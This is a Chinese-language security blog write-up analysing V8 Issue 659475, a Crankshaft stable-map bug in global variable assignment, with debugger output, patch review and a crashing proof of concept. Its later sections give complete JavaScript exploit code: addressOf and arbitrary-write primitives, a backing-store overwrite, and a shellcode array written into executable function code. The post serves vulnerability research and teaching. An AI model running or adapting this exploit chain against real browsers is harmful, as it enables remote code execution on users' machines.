文章首发于安全KER https://www.anquanke.com/post/id/234534
0x00 前言 Issue 659475的漏洞利用过程非常巧妙,结合了String(null)对象完成漏洞利用。本文将介绍这个巧妙的过程。
0x01 前置知识 String对象结构 在V8中,String
对象其实就是JSValue
对象,而决定JSValue
的值的关键就是它的value
字段。 使用如下代码进行调试
1 2 3 4 5 6 7 8 9 var str = new String("aaaaaaaaaaaaaaa"); var str2 = new String("aaaaaaaaaaaaaaa"); var str3 = new String("bbbbbbbbbbbbbb"); var str4 = new String(null); %DebugPrint(str); %DebugPrint(str2); %DebugPrint(str3); %DebugPrint(str4); %SystemBreak();
运行结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 DebugPrint: 0x28c3ab48a0f9: [JSValue] - map = 0x3bc278906981 [FastProperties] - prototype = 0x383e38b978c1 - elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS] - value = 0x383e38baaff9 <String[15]: aaaaaaaaaaaaaaa> - properties = { #length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant) } DebugPrint: 0x28c3ab48a119: [JSValue] - map = 0x3bc278906981 [FastProperties] - prototype = 0x383e38b978c1 - elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS] - value = 0x383e38baaff9 <String[15]: aaaaaaaaaaaaaaa> - properties = { #length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant) } DebugPrint: 0x28c3ab48a139: [JSValue] - map = 0x3bc278906981 [FastProperties] - prototype = 0x383e38b978c1 - elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS] - value = 0x383e38bab061 <String[14]: bbbbbbbbbbbbbb> - properties = { #length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant) } DebugPrint: 0x28c3ab48a159: [JSValue] - map = 0x3bc278906981 [FastProperties] - prototype = 0x383e38b978c1 - elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS] - value = 0x1c1ca5f02251 <String[4]: null> - properties = { #length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant) }
从运行结果我们可以发现,str
和str2
虽然它们地址不一样,但是它们的字符串值一样,因此它们的value
字段都指向了同一个地址0x383e38baaff9
查看value
指向的位置的结构
1 2 3 4 pwndbg> x /20gx 0x1b780802aff8 0x1b780802aff8: 0x00000d92c0a82361 0x000000006548be92 0x1b780802b008: 0x0000000f00000000 0x6161616161616161 0x1b780802b018: 0xde61616161616161 0x00000d92c0a82361
value的结构如下
1 2 3 4 5 6 7 struct Value { Map *map; uint32_t hash; uint64_t padding; uint32_t length; char content[length]; }
对于String
对象,可以使用[]
操作符进行字符串中字符的访问,但是不能进行修改。对于String(null)
,其value
指向的是一个null
的对象,其Value
结构中,length
字段为0x4,content
字段为0xdeadbeed6c6c756e
。
property 的存储 有关property access
的优化,已经在前面文章 中详细介绍过,主要就是对于对象的慢属性访问会在JIT时被优化为下标的方式进行访问。对于一开始就是字典类型的对象var a = {}
,处理double
、SMI
和Object
类型时,都是直接给对应的字段赋值,其中SMI
存储使用的是高4字节; 使用如下代码测试
1 2 3 4 5 6 7 var a = {}; a.x0 = 1.1; a.x1 = 0x666666; a.x3 = a; %DebugPrint(a); %SystemBreak();
结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 DebugPrint: 0x3191c908a059: [JS_OBJECT_TYPE] - map = 0x38fd4510c3e9 [FastProperties] - prototype = 0x3672f7504101 - elements = 0x3a4833482241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS] - properties = { #x0: <unboxed double> 1.1 (data field at offset 0) #x1: 6710886 (data field at offset 1) #x3: 0x3191c908a059 <an Object with map 0x38fd4510c3e9> (data field at offset 2) } pwndbg> x /20gx 0x3191c908a058 0x3191c908a058: 0x000038fd4510c3e9 0x00003a4833482241 0x3191c908a068: 0x00003a4833482241 0x3ff199999999999a 0x3191c908a078: 0x0066666600000000 0x00003191c908a059
而对于一开始不是字典类型的对象,如var a = new Date();
,处理double
类型的字段赋值时,会将double
数据先包装为MutableNumber
,然后将该对象的指针赋值给相应的字段,测试代码如下
1 2 3 4 5 6 7 8 var a = new Date(); a.x0 = 1.1; a.x1 = 0x666666; a.x3 = a; %DebugPrint(a); %SystemBreak();
运行如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 DebugPrint: 0x1d4cc9e8a061: [JSDate] - map = 0x1cbdfe0c3e9 [FastProperties] - prototype = 0x3d14b440c2d9 - elements = 0x20de36302241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - value = 0x1d4cc9e8a0c1 <Number: 1.61562e+12> - time = NaN - properties = { #x0: 0x1d4cc9e8a131 <MutableNumber: 1.1> (data field at offset 0) #x1: 6710886 (data field at offset 1) #x3: 0x1d4cc9e8a061 <a Date with map 0x1cbdfe0c3e9> (data field at offset 2) } 0x1d4cc9e8a110: 0x0000000300000000 0x00001d4cc9e8a131 0x1d4cc9e8a120: 0x0066666600000000 0x00001d4cc9e8a061 0x1d4cc9e8a130: 0x000011d70e482eb9 0x3ff199999999999a
从这个特性中思考,如果我们有漏洞能够任意控制属性字段的内存值为某一个地址addr+0x1
,那么,接下来将一个double
数据赋值给这个字段时,就可以往addr+0x8
的地方写入一个unboxed double
数据。这意味着就实现了任意地址写。
编译器版本 由于本漏洞属于老版本的V8,其V8编译器结构如下 有两种编译器,一个是Crankshaft
,另一个是TurboFan
,两者的不同点在于
Crankshaft仅仅可以优化Javascript一部分语言的短板。例如,它并没有通过结构化的异常处理来设计代码,即代码块不能通过try、catch、finally等关键字划分。
1 2 3 4 5 6 7 8 9 10 function opt() { var a = [1.1,2.2,3.3]; var b = [2.2,3.3,4.4]; var c = [a,b]; return c; } for (var i=0;i<10000;i++) { opt(); }
加入-print-opt-code
选项,JIT信息如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 --- Raw source --- () { var a = [1.1,2.2,3.3]; var b = [2.2,3.3,4.4]; var c = [a,b]; return c; } --- Optimized code --- optimization_id = 0 source_position = 12 kind = OPTIMIZED_FUNCTION name = opt stack_slots = 5 compiler = crankshaft
可以看到是用crankshaft
进行的编译,现在,我们在函数里加入try {} catch () {}
语句,然后重新测试,由于循环次数10000
触发了crankshaft
进行编译,当crankshaft
无法处理这种情况,于是无反应,将10000
改为100000
,即可触发turbofan
编译了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 --- Raw source --- () { try{ var a = [1.1,2.2,3.3]; var b = [2.2,3.3,4.4]; var c = [a,b]; return c; } catch (e) { } } --- Optimized code --- optimization_id = 0 source_position = 12 kind = OPTIMIZED_FUNCTION name = opt stack_slots = 4 compiler = turbofan
0x02 漏洞分析利用 patch分析 关键的patch点如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 diff --git a/src/crankshaft/hydrogen.cc b/src/crankshaft/hydrogen.cc index 16c3639..79e78a5 100644 --- a/src/crankshaft/hydrogen.cc +++ b/src/crankshaft/hydrogen.cc @@ -6518,11 +6518,19 @@ access = access.WithRepresentation(Representation::Smi()); break; case PropertyCellConstantType::kStableMap: { - // The map may no longer be stable, deopt if it's ever different from - // what is currently there, which will allow for restablization. - Handle<Map> map(HeapObject::cast(cell->value())->map()); + // First check that the previous value of the {cell} still has the + // map that we are about to check the new {value} for. If not, then + // the stable map assumption was invalidated and we cannot continue + // with the optimized code. + Handle<HeapObject> cell_value(HeapObject::cast(cell->value())); + Handle<Map> cell_value_map(cell_value->map()); + if (!cell_value_map->is_stable()) { + return Bailout(kUnstableConstantTypeHeapObject); + } + top_info()->dependencies()->AssumeMapStable(cell_value_map); + // Now check that the new {value} is a HeapObject with the same map. Add<HCheckHeapObject>(value); - value = Add<HCheckMaps>(value, map); + value = Add<HCheckMaps>(value, cell_value_map); access = access.WithRepresentation(Representation::HeapObject()); break; }
从源码路径可以知道,该漏洞与crankshaft
编译器有关,patch修复了漏洞,该patch位于HandleGlobalVariableAssignment
函数,因此,该函数用于处理全局变量的赋值操作。在V8的优化过程中,有一个特点就是,对于stable map
的对象,其checkmap
节点会被移除,patch中最关键的一句是top_info()->dependencies()->AssumeMapStable(cell_value_map)
。 其中AssumeMapStable
源码如下
1 2 3 4 5 6 7 void CompilationDependencies::AssumeMapStable(Handle<Map> map) { DCHECK(map->is_stable()); // Do nothing if the map cannot transition. if (map->CanTransition()) { Insert(DependentCode::kPrototypeCheckGroup, map); } }
由于加入了这个DependentCode::kPrototypeCheckGroup
的检查,如果后期map
变成unstable
了,即使没有checkmap
节点的检查,也因为有该检查而不会出错,保证其在结构发生变化时能进行deoptimization bailout
。
POC编写 我们的测试程序如下
1 2 3 4 5 6 7 8 9 10 var a; function Ctor() { a = new Date(); } for (var i=0;i<10000;i++) { Ctor(); } %DebugPrint(a);
运行结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 DebugPrint: 0xb6f27a26391: [JSDate] - map = 0x17bdc13042a9 [FastProperties] - prototype = 0x2bb939b8c2d9 - elements = 0x147f67e02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - value = 0xb6f27a263f1 <Number: 1.61562e+12> - time = NaN - properties = { } 0x17bdc13042a9: [Map] - type: JS_DATE_TYPE - instance size: 96 - inobject properties: 0 - elements kind: FAST_HOLEY_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x147f67e02311 <undefined> - instance descriptors (own) #0: 0x147f67e02231 <FixedArray[0]> - layout descriptor: 0 - prototype: 0x2bb939b8c2d9 <an Object with map 0x17bdc1304301> - constructor: 0x2bb939b8c269 <JS Function Date (SharedFunctionInfo 0x147f67e3ec79)> - code cache: 0x147f67e02241 <FixedArray[0]> - dependent code: 0x2bb939babd79 <FixedArray[3]> - construction counter: 0
其中可以观察到其MAP
结构里有一个stable_map
标记,我们接着b src/crankshaft/hydrogen.cc:6515
,在patch点上方下断点进行调试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 In file: /home/sea/Desktop/v8/src/crankshaft/hydrogen.cc 6519 break; 6520 case PropertyCellConstantType::kStableMap: { 6521 // The map may no longer be stable, deopt if it's ever different from 6522 // what is currently there, which will allow for restablization. 6523 Handle<Map> map(HeapObject::cast(cell->value())->map()); ► 6524 Add<HCheckHeapObject>(value); 6525 value = Add<HCheckMaps>(value, map); 6526 access = access.WithRepresentation(Representation::HeapObject()); 6527 break; 6528 } 6529 } pwndbg> p map->is_stable() $17 = true
可以看见其MAP
是stable
的。 在前面的基础上,加上对全局变量的属性进行赋值的操作,并进行优化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 var a; function Ctor() { a = new Date(); } function opt() { a.x = 1; } for (var i=0;i<10000;i++) { Ctor(); } for (var i=0;i<10000;i++) { opt(); }
查看生成的JIT代码,加了patch和没加patch,使用--print-opt-code
打印的代码竟然在实质上没有任何的差别。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 0x27792c064e0 0 55 push rbp 0x27792c064e1 1 4889e5 REX.W movq rbp,rsp 0x27792c064e4 4 56 push rsi 0x27792c064e5 5 57 push rdi 0x27792c064e6 6 4883ec08 REX.W subq rsp,0x8 0x27792c064ea 10 488b45f8 REX.W movq rax,[rbp-0x8] 0x27792c064ee 14 488945e8 REX.W movq [rbp-0x18],rax 0x27792c064f2 18 488bf0 REX.W movq rsi,rax 0x27792c064f5 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60] 0x27792c064fc 28 7305 jnc 35 (0x27792c06503) 0x27792c064fe 30 e8ddc3f5ff call StackCheck (0x27792b628e0) ;; code: BUILTIN 0x27792c06503 35 48b841b7ba24643c0000 REX.W movq rax,0x3c6424bab741 ;; object: 0x3c6424bab741 PropertyCell for 0x2d07f24a6399 <a Date with map 0x14b2a498c391> 0x27792c0650d 45 488b400f REX.W movq rax,[rax+0xf] 0x27792c06511 49 488b4007 REX.W movq rax,[rax+0x7] 0x27792c06515 53 c7401301000000 movl [rax+0x13],0x1 0x27792c0651c 60 48b8112358a8ae240000 REX.W movq rax,0x24aea8582311 ;; object: 0x24aea8582311 <undefined> 0x27792c06526 70 488be5 REX.W movq rsp,rbp 0x27792c06529 73 5d pop rbp 0x27792c0652a 74 c20800 ret 0x8 0x27792c0652d 77 0f1f00 nop
赋值操作显然没有过多的检查,这是因为该对象的MAP
被标识为stable map
,如果我们将a = new Date()
改成a = {}
,其代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 0xbbb2be06700 0 55 push rbp 0xbbb2be06701 1 4889e5 REX.W movq rbp,rsp 0xbbb2be06704 4 56 push rsi 0xbbb2be06705 5 57 push rdi 0xbbb2be06706 6 4883ec08 REX.W subq rsp,0x8 0xbbb2be0670a 10 488b45f8 REX.W movq rax,[rbp-0x8] 0xbbb2be0670e 14 488945e8 REX.W movq [rbp-0x18],rax 0xbbb2be06712 18 488bf0 REX.W movq rsi,rax 0xbbb2be06715 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60] 0xbbb2be0671c 28 7305 jnc 35 (0xbbb2be06723) 0xbbb2be0671e 30 e8bdc1f5ff call StackCheck (0xbbb2bd628e0) ;; code: BUILTIN 0xbbb2be06723 35 48b841b7720d5a180000 REX.W movq rax,0x185a0d72b741 ;; object: 0x185a0d72b741 PropertyCell for 0x325b7f0af1b1 <an Object with map 0x560aef0c391> 0xbbb2be0672d 45 488b400f REX.W movq rax,[rax+0xf] 0xbbb2be06731 49 a801 test al,0x1 0xbbb2be06733 51 0f842c000000 jz 101 (0xbbb2be06765) 0xbbb2be06739 57 49ba91c3f0ae60050000 REX.W movq r10,0x560aef0c391 ;; object: 0x560aef0c391 <Map(FAST_HOLEY_ELEMENTS)> 0xbbb2be06743 67 4c3950ff REX.W cmpq [rax-0x1],r10 0xbbb2be06747 71 0f851d000000 jnz 106 (0xbbb2be0676a) 0xbbb2be0674d 77 c7401b01000000 movl [rax+0x1b],0x1 0xbbb2be06754 84 48b8112348ddd5280000 REX.W movq rax,0x28d5dd482311 ;; object: 0x28d5dd482311 <undefined> 0xbbb2be0675e 94 488be5 REX.W movq rsp,rbp 0xbbb2be06761 97 5d pop rbp 0xbbb2be06762 98 c20800 ret 0x8 0xbbb2be06765 101 e8a0d8d7ff call 0xbbb2bb8400a ;; deoptimization bailout 1 0xbbb2be0676a 106 e8a5d8d7ff call 0xbbb2bb84014 ;; deoptimization bailout 2 0xbbb2be0676f 111 90 nop
显然这里多了一个Map(FAST_HOLEY_ELEMENTS)
的检查。既然加了patch和没加patch的生成的代码一样,为何后者能够有漏洞,这是因为虽然checkmap
都移除了,但是checkmap
仅能代表在这段JIT代码里可以做检查,调试发现,前者是无法执行到JIT的那个代码的,因为在执行JIT代码之前就已经做了检查(kPrototypeCheckGroup标记导致)。而后者能够执行到JIT代码。 最终POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var a; function Ctor() { a = new Date(); } function opt() { a.x = 0x123456; } for (var i=0;i<10000;i++) { Ctor(); } for (var i=0;i<10000;i++) { opt(); } Ctor(); opt(); %DebugPrint(a); var str = new String(null); print(str);
程序最终会崩溃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 DebugPrint: 0xf89de5a6539: [JSDate] - map = 0x3f13527042a9 [FastProperties] - prototype = 0x3fccf1f0c2d9 - elements = 0x1bcb0fe02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - value = 0xf89de5a6599 <Number: 1.61563e+12> - time = NaN - properties = { } Received signal 11 <unknown> 000000000000 ==== C stack trace =============================== [0x7f2ad9dc7a4e] [0x7f2ad9dc79a5] [0x7f2ad99cb8a0] [0x7f2ad8691b9c] [0x7f2ad869a1cd] [0x7f2ad869a8ae] [0x7f2ad86bb26c] [0x563cbf958f25] [0x563cbf958e45] [0x7f2ad86a244a] [0x7f2ad87cceef] [0x7f2ad87cb9d2] [0x7f2ad87cb52f] [0x2c31d0e043a7] [end of stack trace] Segmentation fault (core dumped)
虽然我们在opt
函数里增加了一个属性,我们看到properties
为空值,这意味着已发生了溢出。 可以看到,0x123456
越界写到了后面,破坏了某处数据,导致程序崩溃,该处实际上就是null Value
对象。我们将最后的opt
函数注释掉,然后重新调试。
1 2 3 4 5 6 7 8 DebugPrint: 0x2609351265d9: [JSValue] - map = 0x15994da86981 [FastProperties] - prototype = 0x1a0972b178c1 - elements = 0x2adf5c602241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS] - value = 0x2adf5c602251 <String[4]: null> - properties = { #length: 0x2adf5c656379 <AccessorInfo> (accessor constant) }
addressOf原语构造 该对象的value
指针指向了0x2adf5c602251
,而该处正是属性值越界写的地方,因此,我们可以控制整个null Value
对象的数据,那么,我们只需要篡改length
和content
,就能完成地址泄露。 文章开头介绍过有关属性存储的一些性质,那么,我们越界写,将content
对应的位置属性赋值为对象地址,将length
对应的位置的属性赋值为合适的整数,那么就可以再通过String(null)
对象将content的内容读取出来,也就是实现了地址泄露,为了完成这个过程,我们还得保证不能损坏null Value
对象的前2个字段的数据,也就是MAP
和hash
。由于hash
仅在低4字节有数据,那么我们可以将这个位置对应的属性赋值为0,因为0属于SMI
类型,被保存到hash
字段的高4字节处不影响其值;接下来是如何绕过MAP
的值,我们可以考虑在对应字段赋值为一个double
值,这样,该处数据不会被覆盖,double
写入相当于是mov [val+0x7] = double_val
该处是一个MAP
对象内部,这个位置的数据正好是一个不变的量,因此,我们只需要原模原样的赋值回去就可以了。
1 2 pwndbg> x /2gx 0x0000335b22d82361+0x7 0x335b22d82368: 0x0019000400007300 0x00000000082003ff
于是可以构造出addressOf
原语
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 var buf = new ArrayBuffer(0x8); var dv = new DataView(buf); function p64f(value1,value2) { dv.setUint32(0,value1,true); dv.setUint32(0x4,value2,true); return dv.getFloat64(0,true); } function u64f(value) { dv.setFloat64(0,value,true); return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000; } var set; function opt_set() { set = new Set(); } function fakeNullStrValue(obj) { set.x0 = p64f(0x00007300,0x00190004); //skip map set.x1 = 0; //hash set.x2 = 0x8; //length set.x3 = obj; //content } for (var i=0;i<10000;i++) { opt_set(); } for (var i=0;i<10000;i++) { fakeNullStrValue({}); } var str = new String(null); function addressOf(obj) { opt_set(); fakeNullStrValue(obj); var addr = 0; for (var i=0;i<0x8;i++) { addr += (str.charCodeAt(i) * Math.pow(0x100,i)); } return addr - 0x1; } print("str_addr=" + addressOf(str).toString(16));
arb_write原语构造 如何利用这个属性值越界溢出构造任意写原语呢?首先,我没有找到方法如何让一个Array对象临接于properties
的位置之后,不然我们可以很容易通过修改Array
对象的length
属性来构造一个oob
数组。所以我们可以考虑再借助另外两个不同的对象,这样有三个对象,由于最开始他们的properties
都为空值,因此,他们的properties
地址会一样,那么,首先利用第一个对象的属性溢出,伪造content = null_value_self_addr+0x1
, 那么接下来用第二个对象的属性溢出,往content
位置赋值一个地址addr-0x7
的double
数据,那么这个地址值addr-0x7
会被写入到null_value_self_addr+0x8
处,对应的也就是null value
对象的hash字段, 利用最后一个对象的属性溢出,往hash
字段赋值为值val
的double
数据,那么val
就会被写入到addr
处,构造出了任意地址写的原语。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 var set; function opt_set() { set = new Set(); } function fakeNullStrValue(obj) { set.x0 = p64f(0x00007300,0x00190004); //skip map set.x1 = 0; //hash set.x2 = 0x8; //length set.x3 = obj; //content } var map; function opt_map() { map = new Map(); } function writeNullStrValuePtrContent(val) { map.x0 = p64f(0x00007300,0x00190004); //skip map map.x1 = 0; //hash map.x2 = 0x8; //length map.x3 = val //content } var date; function opt_date() { date = new Date(); } function writeBackingStorePtr(val) { date.x0 = p64f(0x00007300,0x00190004); //skip map date.x1 = val; //hash } for (var i=0;i<10000;i++) { opt_set(); } for (var i=0;i<10000;i++) { fakeNullStrValue({}); } var str = new String(null); for (var i=0;i<10000;i++) { opt_map(); } for (var i=0;i<10000;i++) { writeNullStrValuePtrContent(i+1.1); } for (var i=0;i<10000;i++) { opt_date(); } for (var i=0;i<10000;i++) { writeBackingStorePtr(i+1.1); } function arb_write(addr,value) { opt_set(); fakeNullStrValue(String(null)); //%DebugPrint(set); //%SystemBreak(); opt_map(); writeNullStrValuePtrContent(p64f(addr & 0xFFFFFFFF,addr / 0x100000000)); //%DebugPrint(map); //%SystemBreak(); opt_date(); //%DebugPrint(date); writeBackingStorePtr(p64f(value & 0xFFFFFFFF,value / 0x100000000)); //%SystemBreak(); }
其中,String(null)
与new String(null)
不同之处在于String(null)
直接得到了那个null value
对象,因此在写入时,content就直接是null value
对象本身的地址。
exp 当构造出以上两个原语以后,就能够轻松写出exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 var buf = new ArrayBuffer(0x8); var dv = new DataView(buf); function p64f(value1,value2) { dv.setUint32(0,value1,true); dv.setUint32(0x4,value2,true); return dv.getFloat64(0,true); } function u64f(value) { dv.setFloat64(0,value,true); return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000; } var set; function opt_set() { set = new Set(); } function fakeNullStrValue(obj) { set.x0 = p64f(0x00007300,0x00190004); //skip map set.x1 = 0; //hash set.x2 = 0x8; //length set.x3 = obj; //content } var map; function opt_map() { map = new Map(); } function writeNullStrValuePtrContent(val) { map.x0 = p64f(0x00007300,0x00190004); //skip map map.x1 = 0; //hash map.x2 = 0x8; //length map.x3 = val //content } var date; function opt_date() { date = new Date(); } function writeBackingStorePtr(val) { date.x0 = p64f(0x00007300,0x00190004); //skip map date.x1 = val; //hash } for (var i=0;i<10000;i++) { opt_set(); } for (var i=0;i<10000;i++) { fakeNullStrValue({}); } var str = new String(null); function addressOf(obj) { opt_set(); fakeNullStrValue(obj); var addr = 0; for (var i=0;i<0x8;i++) { addr += (str.charCodeAt(i) * Math.pow(0x100,i)); } return addr - 0x1; } for (var i=0;i<10000;i++) { opt_map(); } for (var i=0;i<10000;i++) { writeNullStrValuePtrContent(i+1.1); } for (var i=0;i<10000;i++) { opt_date(); } for (var i=0;i<10000;i++) { writeBackingStorePtr(i+1.1); } var arr_buf = new ArrayBuffer(0x100); var func = new Function("var a = 0x66666666;"); var shellcode_ptr_addr = addressOf(func) + 0x38; print("shellcode_ptr_addr="+shellcode_ptr_addr.toString(16)); var arr_buf_addr = addressOf(arr_buf); var backing_store_ptr_addr = arr_buf_addr + 0x20; print("backing_store_ptr_addr=" + backing_store_ptr_addr.toString(16)); var str_addr = addressOf(str); print("str_addr=" + str_addr.toString(16)); function arb_write(addr,value) { opt_set(); fakeNullStrValue(String(null)); //%DebugPrint(set); //%SystemBreak(); opt_map(); writeNullStrValuePtrContent(p64f(addr & 0xFFFFFFFF,addr / 0x100000000)); //%DebugPrint(map); //%SystemBreak(); opt_date(); //%DebugPrint(date); writeBackingStorePtr(p64f(value & 0xFFFFFFFF,value / 0x100000000)); //%SystemBreak(); } arb_write(backing_store_ptr_addr - 0x7,shellcode_ptr_addr); var arb_dv = new DataView(arr_buf); var shellcode_addr = u64f(arb_dv.getFloat64(0,true)); print("shellcode_addr=" + shellcode_addr.toString(16)); arb_write(backing_store_ptr_addr - 0x7,shellcode_addr); const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]); //替换wasm的shellcode for (var i=0;i<shellcode.length;i++) { arb_dv.setUint32(i*4,shellcode[i],true); } %DebugPrint(str); %SystemBreak(); //执行shellcode //func();
0x03 感想 本漏洞复现中学到了有关String
的知识,并且利用了指针的指针的概念。感觉收获很多。
0x04 参考 谷歌中的V8引擎:Ignition和TurboFan CVE-2016-5168漏洞分析 v8 exploit